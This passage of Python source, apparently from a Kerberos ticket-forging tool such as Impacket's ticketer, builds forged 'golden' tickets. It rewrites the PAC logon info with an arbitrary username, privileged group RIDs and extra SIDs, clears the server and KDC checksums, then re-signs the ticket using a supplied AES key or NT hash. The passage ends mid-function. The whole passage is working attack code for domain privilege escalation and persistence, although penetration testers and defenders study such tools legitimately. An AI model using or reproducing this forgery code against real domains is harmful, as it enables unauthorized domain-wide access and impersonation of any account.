aTime = timegm(strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ'))
unixTime = self.getFileTime(aTime)
kerbdata = KERB_VALIDATION_INFO()
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
# Let's adjust username and other data
validationInfo['Data']['LogonDomainName'] = self.__domain.upper()
validationInfo['Data']['EffectiveName'] = self.__target
# Our Golden Well-known groups! :)
groups = self.__options.groups.split(',')
validationInfo['Data']['GroupIds'] = list()
validationInfo['Data']['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = int(group)
groupMembership['RelativeId'] = groupId
groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
validationInfo['Data']['GroupIds'].append(groupMembership)
# Let's add the extraSid
if self.__options.extra_sid is not None:
extrasids = self.__options.extra_sid.split(',')
if validationInfo['Data']['SidCount'] == 0:
# Let's be sure user's flag specify we have extra sids.
validationInfo['Data']['UserFlags'] |= 0x20
validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY()
for extrasid in extrasids:
validationInfo['Data']['SidCount'] += 1
sidRecord = KERB_SID_AND_ATTRIBUTES()
sid = RPC_SID()
sid.fromCanonical(extrasid)
sidRecord['Sid'] = sid
sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
# And, let's append the magicSid
validationInfo['Data']['ExtraSids'].append(sidRecord)
else:
validationInfo['Data']['ExtraSids'] = NULL
validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents()
pacInfos[PAC_LOGON_INFO] = validationInfoBlob
if logging.getLogger().level == logging.DEBUG:
logging.debug('VALIDATION_INFO after making it gold')
validationInfo.dump()
print('\n')
else:
raise Exception('PAC_LOGON_INFO not found! Aborting')
logging.info('\tPAC_LOGON_INFO')
# Let's now clear the checksums
if PAC_SERVER_CHECKSUM in pacInfos:
serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
serverChecksum['Signature'] = '\x00' * 12
elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
serverChecksum['Signature'] = '\x00' * 12
else:
serverChecksum['Signature'] = '\x00' * 16
pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData()
else:
raise Exception('PAC_SERVER_CHECKSUM not found! Aborting')
if PAC_PRIVSVR_CHECKSUM in pacInfos:
privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
privSvrChecksum['Signature'] = '\x00' * 12
if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
privSvrChecksum['Signature'] = '\x00' * 12
elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
privSvrChecksum['Signature'] = '\x00' * 12
else:
privSvrChecksum['Signature'] = '\x00' * 16
pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData()
else:
raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting')
if PAC_CLIENT_INFO_TYPE in pacInfos:
pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE])
pacClientInfo['ClientId'] = unixTime
pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData()
else:
raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting')
logging.info('\tPAC_CLIENT_INFO_TYPE')
logging.info('\tEncTicketPart')
if self.__domain == self.__server:
encRepPart = EncASRepPart()
else:
encRepPart = EncTGSRepPart()
encRepPart['key'] = noValue
encRepPart['key']['keytype'] = encTicketPart['key']['keytype']
encRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue']
encRepPart['last-req'] = noValue
encRepPart['last-req'][0] = noValue
encRepPart['last-req'][0]['lr-type'] = 0
encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
encRepPart['nonce'] = 123456789
encRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration)
flags = []
for i in encTicketPart['flags']:
flags.append(i)
encRepPart['flags'] = flags
encRepPart['authtime'] = str(encTicketPart['authtime'])
encRepPart['endtime'] = str(encTicketPart['endtime'])
encRepPart['starttime'] = str(encTicketPart['starttime'])
encRepPart['renew-till'] = str(encTicketPart['renew-till'])
encRepPart['srealm'] = self.__domain.upper()
encRepPart['sname'] = noValue
encRepPart['sname']['name-string'] = noValue
encRepPart['sname']['name-string'][0] = self.__service
if self.__domain == self.__server:
encRepPart['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value
encRepPart['sname']['name-string'][1] = self.__domain.upper()
logging.info('\tEncAsRepPart')
else:
encRepPart['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
encRepPart['sname']['name-string'][1] = self.__server
logging.info('\tEncTGSRepPart')
return encRepPart, encTicketPart, pacInfos
def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos):
logging.info('Signing/Encrypting final ticket')
# Basic PAC count
pac_count = 4
# We changed everything we needed to make us special. Now let's repack and calculate checksums
validationInfoBlob = pacInfos[PAC_LOGON_INFO]
validationInfoAlignment = b'\x00' * self.getPadLength(len(validationInfoBlob))
pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE]
pacClientInfoAlignment = b'\x00' * self.getPadLength(len(pacClientInfoBlob))
pacUpnDnsInfoBlob = None
pacUpnDnsInfoAlignment = None
if PAC_UPN_DNS_INFO in pacInfos:
pac_count += 1
pacUpnDnsInfoBlob = pacInfos[PAC_UPN_DNS_INFO]
pacUpnDnsInfoAlignment = b'\x00' * self.getPadLength(len(pacUpnDnsInfoBlob))
pacAttributesInfoBlob = None
pacAttributesInfoAlignment = None
if PAC_ATTRIBUTES_INFO in pacInfos:
pac_count += 1
pacAttributesInfoBlob = pacInfos[PAC_ATTRIBUTES_INFO]
pacAttributesInfoAlignment = b'\x00' * self.getPadLength(len(pacAttributesInfoBlob))
pacRequestorInfoBlob = None
pacRequestorInfoAlignment = None
if PAC_REQUESTOR_INFO in pacInfos:
pac_count += 1
pacRequestorInfoBlob = pacInfos[PAC_REQUESTOR_INFO]
pacRequestorInfoAlignment = b'\x00' * self.getPadLength(len(pacRequestorInfoBlob))
serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
serverChecksumBlob = pacInfos[PAC_SERVER_CHECKSUM]
serverChecksumAlignment = b'\x00' * self.getPadLength(len(serverChecksumBlob))
privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
privSvrChecksumBlob = pacInfos[PAC_PRIVSVR_CHECKSUM]
privSvrChecksumAlignment = b'\x00' * self.getPadLength(len(privSvrChecksumBlob))
# The offset are set from the beginning of the PAC_TYPE
# [MS-PAC] 2.4 PAC_INFO_BUFFER
offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * pac_count
# Let's build the PAC_INFO_BUFFER for each one of the elements
validationInfoIB = PAC_INFO_BUFFER()
validationInfoIB['ulType'] = PAC_LOGON_INFO
validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
validationInfoIB['Offset'] = offsetData
offsetData = self.getBlockLength(offsetData + validationInfoIB['cbBufferSize'])
pacClientInfoIB = PAC_INFO_BUFFER()
pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
pacClientInfoIB['Offset'] = offsetData
offsetData = self.getBlockLength(offsetData + pacClientInfoIB['cbBufferSize'])
pacUpnDnsInfoIB = None
if pacUpnDnsInfoBlob is not None:
pacUpnDnsInfoIB = PAC_INFO_BUFFER()
pacUpnDnsInfoIB['ulType'] = PAC_UPN_DNS_INFO
pacUpnDnsInfoIB['cbBufferSize'] = len(pacUpnDnsInfoBlob)
pacUpnDnsInfoIB['Offset'] = offsetData
offsetData = self.getBlockLength(offsetData + pacUpnDnsInfoIB['cbBufferSize'])
pacAttributesInfoIB = None
if pacAttributesInfoBlob is not None:
pacAttributesInfoIB = PAC_INFO_BUFFER()
pacAttributesInfoIB['ulType'] = PAC_ATTRIBUTES_INFO
pacAttributesInfoIB['cbBufferSize'] = len(pacAttributesInfoBlob)
pacAttributesInfoIB['Offset'] = offsetData
offsetData = self.getBlockLength(offsetData + pacAttributesInfoIB['cbBufferSize'])
pacRequestorInfoIB = None
if pacRequestorInfoBlob is not None:
pacRequestorInfoIB = PAC_INFO_BUFFER()
pacRequestorInfoIB['ulType'] = PAC_REQUESTOR_INFO
pacRequestorInfoIB['cbBufferSize'] = len(pacRequestorInfoBlob)
pacRequestorInfoIB['Offset'] = offsetData
offsetData = self.getBlockLength(offsetData + pacRequestorInfoIB['cbBufferSize'])
serverChecksumIB = PAC_INFO_BUFFER()
serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
serverChecksumIB['Offset'] = offsetData
offsetData = self.getBlockLength(offsetData + serverChecksumIB['cbBufferSize'])
privSvrChecksumIB = PAC_INFO_BUFFER()
privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
privSvrChecksumIB['Offset'] = offsetData
# offsetData = self.getBlockLength(offsetData+privSvrChecksumIB['cbBufferSize'])
# Building the PAC_TYPE as specified in [MS-PAC]
buffers = validationInfoIB.getData() + pacClientInfoIB.getData()
if pacUpnDnsInfoIB is not None:
buffers += pacUpnDnsInfoIB.getData()
if pacAttributesInfoIB is not None:
buffers += pacAttributesInfoIB.getData()
if pacRequestorInfoIB is not None:
buffers += pacRequestorInfoIB.getData()
buffers += serverChecksumIB.getData() + privSvrChecksumIB.getData() + validationInfoBlob + \
validationInfoAlignment + pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment
if pacUpnDnsInfoIB is not None:
buffers += pacUpnDnsInfoBlob + pacUpnDnsInfoAlignment
if pacAttributesInfoIB is not None:
buffers += pacAttributesInfoBlob + pacAttributesInfoAlignment
if pacRequestorInfoIB is not None:
buffers += pacRequestorInfoBlob + pacRequestorInfoAlignment
buffersTail = serverChecksumBlob + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment
pacType = PACTYPE()
pacType['cBuffers'] = pac_count
pacType['Version'] = 0
pacType['Buffers'] = buffers + buffersTail
blobToChecksum = pacType.getData()
checkSumFunctionServer = _checksum_table[serverChecksum['SignatureType']]
if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
keyServer = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
keyServer = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
keyServer = Key(Enctype.RC4, unhexlify(self.__options.nthash))
else:
raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType'])